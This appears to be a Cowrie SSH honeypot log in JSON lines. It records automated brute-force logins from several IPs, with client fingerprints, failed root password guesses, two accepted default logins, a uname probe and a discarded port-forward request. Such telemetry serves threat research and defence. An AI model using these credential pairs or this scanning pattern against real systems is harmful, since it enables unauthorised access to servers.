96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:49.853794Z","src_ip":"83.168.110.85","session":"bb08246740ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:50.297913Z","src_ip":"83.168.110.85","session":"bb08246740ae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:50.589841Z","src_ip":"83.168.110.85","session":"bb08246740ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:50.593096Z","src_ip":"83.168.110.85","session":"bb08246740ae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:50.716257Z","src_ip":"83.168.110.85","session":"bb08246740ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:29:50.720278Z","src_ip":"83.168.110.85","session":"bb08246740ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49092,"dst_ip":"159.203.135.109","dst_port":22,"session":"94ea541101d2","protocol":"ssh","message":"New connection: 83.168.110.85:49092 (159.203.135.109:22) [session: 94ea541101d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:00.290255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:00.295371Z","src_ip":"83.168.110.85","session":"94ea541101d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:00.416055Z","src_ip":"83.168.110.85","session":"94ea541101d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:00.785763Z","src_ip":"83.168.110.85","session":"94ea541101d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:02.097029Z","src_ip":"83.168.110.85","session":"94ea541101d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34208,"dst_ip":"159.203.135.109","dst_port":22,"session":"18ba60690b0e","protocol":"ssh","message":"New connection: 51.250.105.222:34208 (159.203.135.109:22) [session: 18ba60690b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:04.964122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:04.969825Z","src_ip":"51.250.105.222","session":"18ba60690b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:05.120495Z","src_ip":"51.250.105.222","session":"18ba60690b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5tq","message":"login attempt [root/1q2w3e4r5tq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:05.535527Z","src_ip":"51.250.105.222","session":"18ba60690b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:06.690599Z","src_ip":"51.250.105.222","session":"18ba60690b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57842,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b1f5bd47ecc","protocol":"ssh","message":"New connection: 83.168.110.85:57842 (159.203.135.109:22) [session: 8b1f5bd47ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:10.382402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:10.389147Z","src_ip":"83.168.110.85","session":"8b1f5bd47ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:10.510898Z","src_ip":"83.168.110.85","session":"8b1f5bd47ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:10.882639Z","src_ip":"83.168.110.85","session":"8b1f5bd47ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:12.007253Z","src_ip":"83.168.110.85","session":"8b1f5bd47ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":56626,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b799c25adfe","protocol":"ssh","message":"New connection: 103.118.29.129:56626 (159.203.135.109:22) [session: 2b799c25adfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:20.526019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:20.535095Z","src_ip":"103.118.29.129","session":"2b799c25adfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46114,"dst_ip":"159.203.135.109","dst_port":22,"session":"71e73738603e","protocol":"ssh","message":"New connection: 83.168.110.85:46114 (159.203.135.109:22) [session: 71e73738603e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:20.719023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:20.725412Z","src_ip":"83.168.110.85","session":"71e73738603e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:20.776922Z","src_ip":"103.118.29.129","session":"2b799c25adfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:20.846484Z","src_ip":"83.168.110.85","session":"71e73738603e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:21.445866Z","src_ip":"83.168.110.85","session":"71e73738603e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd1","message":"login attempt [root/p@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:21.769494Z","src_ip":"103.118.29.129","session":"2b799c25adfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:22.569841Z","src_ip":"83.168.110.85","session":"71e73738603e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:23.024089Z","src_ip":"103.118.29.129","session":"2b799c25adfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39822,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce5cef747b42","protocol":"ssh","message":"New connection: 83.168.110.85:39822 (159.203.135.109:22) [session: ce5cef747b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:31.408669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:31.413113Z","src_ip":"83.168.110.85","session":"ce5cef747b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:31.534503Z","src_ip":"83.168.110.85","session":"ce5cef747b42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:31.898834Z","src_ip":"83.168.110.85","session":"ce5cef747b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:33.027968Z","src_ip":"83.168.110.85","session":"ce5cef747b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1514,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec1aa36f41fa","protocol":"ssh","message":"New connection: 87.251.64.176:1514 (10.17.0.5:22) [session: ec1aa36f41fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:38.031396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:38.035614Z","src_ip":"87.251.64.176","session":"ec1aa36f41fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:38.226398Z","src_ip":"87.251.64.176","session":"ec1aa36f41fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:39.761795Z","src_ip":"87.251.64.176","session":"ec1aa36f41fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:39.926827Z","session":"ec1aa36f41fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:40.079373Z","src_ip":"87.251.64.176","session":"ec1aa36f41fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:40.244551Z","src_ip":"87.251.64.176","session":"ec1aa36f41fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44604,"dst_ip":"159.203.135.109","dst_port":22,"session":"53f11ba1e0ed","protocol":"ssh","message":"New connection: 83.168.110.85:44604 (159.203.135.109:22) [session: 53f11ba1e0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:41.772354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:30:41.777634Z","src_ip":"83.168.110.85","session":"53f11ba1e0ed","protocol":"ssh"}
